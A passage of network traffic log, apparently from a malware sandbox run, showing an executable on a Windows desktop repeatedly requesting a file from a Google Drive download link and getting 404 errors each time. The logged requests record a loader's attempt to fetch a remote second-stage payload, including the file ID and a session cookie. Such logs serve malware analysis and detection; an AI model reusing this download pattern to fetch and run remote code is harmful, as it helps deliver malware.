2024-12-05 16:06:00 UTC	418	OUT	GET /uc?export=download&id=1K_jGM8Q1zFs0po9MoqZxARRutfXGyjys HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Host: drive.google.com Cache-Control: no-cache Cookie: NID=519=JugqJU5yFP1lwq41sTGCQ9zOSPUwOT2nu1GDZSbQhSaviO2-8QcQ3btO7Q6OhoSZR6wckC5tU-8YKCDAYGgFr7Zfb4pBxms0vOn_wFtIsaNlyZnAD8irKgsX3OY7M8e0ws4mqt6xgWcFg3KsZeysJoctEdId5NarXCR1Ti2PH1NWHGPVu2blWAIF
2024-12-05 16:06:00 UTC	1920	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 05 Dec 2024 16:06:00 GMT Location: https://drive.usercontent.google.com/download?id=1K_jGM8Q1zFs0po9MoqZxARRutfXGyjys&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: script-src 'nonce-P05a5V4imh20DSs_LXNUXw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.11.20	49784	142.250.64.193	443	5216	C:\Users\user\Desktop\fbXZ4ErQMU.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-05 16:06:00 UTC	460	OUT	GET /download?id=1K_jGM8Q1zFs0po9MoqZxARRutfXGyjys&export=download HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=519=JugqJU5yFP1lwq41sTGCQ9zOSPUwOT2nu1GDZSbQhSaviO2-8QcQ3btO7Q6OhoSZR6wckC5tU-8YKCDAYGgFr7Zfb4pBxms0vOn_wFtIsaNlyZnAD8irKgsX3OY7M8e0ws4mqt6xgWcFg3KsZeysJoctEdId5NarXCR1Ti2PH1NWHGPVu2blWAIF
2024-12-05 16:06:01 UTC	1854	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 05 Dec 2024 16:06:01 GMT Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'nonce-i-HzHjzfENGb9z2j9QZMjA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Length: 1652 X-GUploader-UploadID: AFiumC61E3qxaDeVNEsvXIHsiQHj78gIg4qxQweaHiarS-ubhhtCQEztpuSFvLjHQ_zrlX-yfpyB81GxRA Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-12-05 16:06:01 UTC	1652	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 41 69 6b 63 32 42 67 69 49 79 67 79 71 5f 51 53 6e 64 6f 57 2d 67 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="Aikc2BgiIygyq_QSndoW-g">*{margin:0;padding:0}html,code{font:15px/22px arial

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.11.20	49785	142.250.217.238	443	5216	C:\Users\user\Desktop\fbXZ4ErQMU.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-05 16:06:11 UTC	418	OUT	GET /uc?export=download&id=1K_jGM8Q1zFs0po9MoqZxARRutfXGyjys HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Host: drive.google.com Cache-Control: no-cache Cookie: NID=519=JugqJU5yFP1lwq41sTGCQ9zOSPUwOT2nu1GDZSbQhSaviO2-8QcQ3btO7Q6OhoSZR6wckC5tU-8YKCDAYGgFr7Zfb4pBxms0vOn_wFtIsaNlyZnAD8irKgsX3OY7M8e0ws4mqt6xgWcFg3KsZeysJoctEdId5NarXCR1Ti2PH1NWHGPVu2blWAIF
2024-12-05 16:06:11 UTC	1920	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 05 Dec 2024 16:06:11 GMT Location: https://drive.usercontent.google.com/download?id=1K_jGM8Q1zFs0po9MoqZxARRutfXGyjys&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: script-src 'nonce-DSvISPtS6latOKg2ancO0w' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.11.20	49786	142.250.64.193	443	5216	C:\Users\user\Desktop\fbXZ4ErQMU.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-05 16:06:12 UTC	460	OUT	GET /download?id=1K_jGM8Q1zFs0po9MoqZxARRutfXGyjys&export=download HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=519=JugqJU5yFP1lwq41sTGCQ9zOSPUwOT2nu1GDZSbQhSaviO2-8QcQ3btO7Q6OhoSZR6wckC5tU-8YKCDAYGgFr7Zfb4pBxms0vOn_wFtIsaNlyZnAD8irKgsX3OY7M8e0ws4mqt6xgWcFg3KsZeysJoctEdId5NarXCR1Ti2PH1NWHGPVu2blWAIF
2024-12-05 16:06:12 UTC	1847	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 05 Dec 2024 16:06:12 GMT Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'nonce-T30503VURgHNMWOuDA9ZmQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Content-Length: 1652 X-GUploader-UploadID: AFiumC4XmtXROYDrJAf5wxMMa53vWiWT9Fc0J9pfjHiSgmtxM8-oGbAnr9zHDWE238S6tlEP-0k Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-12-05 16:06:12 UTC	1652	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 4e 5a 53 68 64 68 6e 45 37 67 65 5a 47 49 33 72 41 76 76 64 48 67 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="NZShdhnE7geZGI3rAvvdHg">*{margin:0;padding:0}html,code{font:15px/22px arial

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.11.20	49787	142.250.217.238	443	5216	C:\Users\user\Desktop\fbXZ4ErQMU.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-05 16:06:22 UTC	418	OUT	GET /uc?export=download&id=1K_jGM8Q1zFs0po9MoqZxARRutfXGyjys HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Host: drive.google.com Cache-Control: no-cache Cookie: NID=519=JugqJU5yFP1lwq41sTGCQ9zOSPUwOT2nu1GDZSbQhSaviO2-8QcQ3btO7Q6OhoSZR6wckC5tU-8YKCDAYGgFr7Zfb4pBxms0vOn_wFtIsaNlyZnAD8irKgsX3OY7M8e0ws4mqt6xgWcFg3KsZeysJoctEdId5NarXCR1Ti2PH1NWHGPVu2blWAIF
2024-12-05 16:06:23 UTC	1920	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 05 Dec 2024 16:06:22 GMT Location: https://drive.usercontent.google.com/download?id=1K_jGM8Q1zFs0po9MoqZxARRutfXGyjys&export=download Strict-Transport-Security: max-age=31536000 Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: script-src 'nonce-pDVxYskwXpJg6ePKjPSI7g' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.11.20	49788	142.250.64.193	443	5216	C:\Users\user\Desktop\fbXZ4ErQMU.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-05 16:06:23 UTC	460	OUT	GET /download?id=1K_jGM8Q1zFs0po9MoqZxARRutfXGyjys&export=download HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=519=JugqJU5yFP1lwq41sTGCQ9zOSPUwOT2nu1GDZSbQhSaviO2-8QcQ3btO7Q6OhoSZR6wckC5tU-8YKCDAYGgFr7Zfb4pBxms0vOn_wFtIsaNlyZnAD8irKgsX3OY7M8e0ws4mqt6xgWcFg3KsZeysJoctEdId5NarXCR1Ti2PH1NWHGPVu2blWAIF
2024-12-05 16:06:23 UTC	1847	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 05 Dec 2024 16:06:23 GMT Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: script-src 'nonce-EUGawtJepS0rmDvgeaVD2Q' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Length: 1652 X-GUploader-UploadID: AFiumC5p3TfNqwhLQDGbtA9TdF8symRv-IxCZ_boh5nDwpUbP7zmyM6AdUoYnhwb75WzVYl6Q84 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-12-05 16:06:23 UTC	1652	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 38 64 37 75 4f 2d 57 6d 51 5a 42 33 6f 6b 7a 4d 47 68 75 6c 78 67 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="8d7uO-WmQZB3okzMGhulxg">*{margin:0;padding:0}html,code{font:15px/22px arial

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.11.20	49789	142.250.217.238	443	5216	C:\Users\user\Desktop\fbXZ4ErQMU.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-05 16:06:33 UTC	418	OUT	GET /uc?export=download&id=1K_jGM8Q1zFs0po9MoqZxARRutfXGyjys HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Host: drive.google.com Cache-Control: no-cache Cookie: NID=519=JugqJU5yFP1lwq41sTGCQ9zOSPUwOT2nu1GDZSbQhSaviO2-8QcQ3btO7Q6OhoSZR6wckC5tU-8YKCDAYGgFr7Zfb4pBxms0vOn_wFtIsaNlyZnAD8irKgsX3OY7M8e0ws4mqt6xgWcFg3KsZeysJoctEdId5NarXCR1Ti2PH1NWHGPVu2blWAIF
2024-12-05 16:06:34 UTC	1920	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 05 Dec 2024 16:06:34 GMT Location: https://drive.usercontent.google.com/download?id=1K_jGM8Q1zFs0po9MoqZxARRutfXGyjys&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: script-src 'nonce-bAz5xG0g6tgiliw55bLdMg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.11.20	49790	142.250.64.193	443	5216	C:\Users\user\Desktop\fbXZ4ErQMU.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-05 16:06:34 UTC	460	OUT	GET /download?id=1K_jGM8Q1zFs0po9MoqZxARRutfXGyjys&export=download HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=519=JugqJU5yFP1lwq41sTGCQ9zOSPUwOT2nu1GDZSbQhSaviO2-8QcQ3btO7Q6OhoSZR6wckC5tU-8YKCDAYGgFr7Zfb4pBxms0vOn_wFtIsaNlyZnAD8irKgsX3OY7M8e0ws4mqt6xgWcFg3KsZeysJoctEdId5NarXCR1Ti2PH1NWHGPVu2blWAIF
2024-12-05 16:06:34 UTC	1854	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 05 Dec 2024 16:06:34 GMT Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: script-src 'nonce-kRnWbVoZtDj_hH9UADMkqw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Content-Length: 1652 X-GUploader-UploadID: AFiumC5tl8ZQ-ipRAcWHtwDeHNhqTXV9OGaIma6ipvk_pbjlNoVraoZKjAQ_YAJcMuZF7fgy0nlJx2ZmJg Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-12-05 16:06:34 UTC	1652	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 46 62 61 2d 4b 52 53 4e 49 38 42 5f 73 39 64 63 34 55 34 33 56 67 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="Fba-KRSNI8B_s9dc4U43Vg">*{margin:0;padding:0}html,code{font:15px/22px arial

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.11.20	49791	142.250.217.238	443	5216	C:\Users\user\Desktop\fbXZ4ErQMU.exe

Timestamp	Bytes transferred	Direction	Data
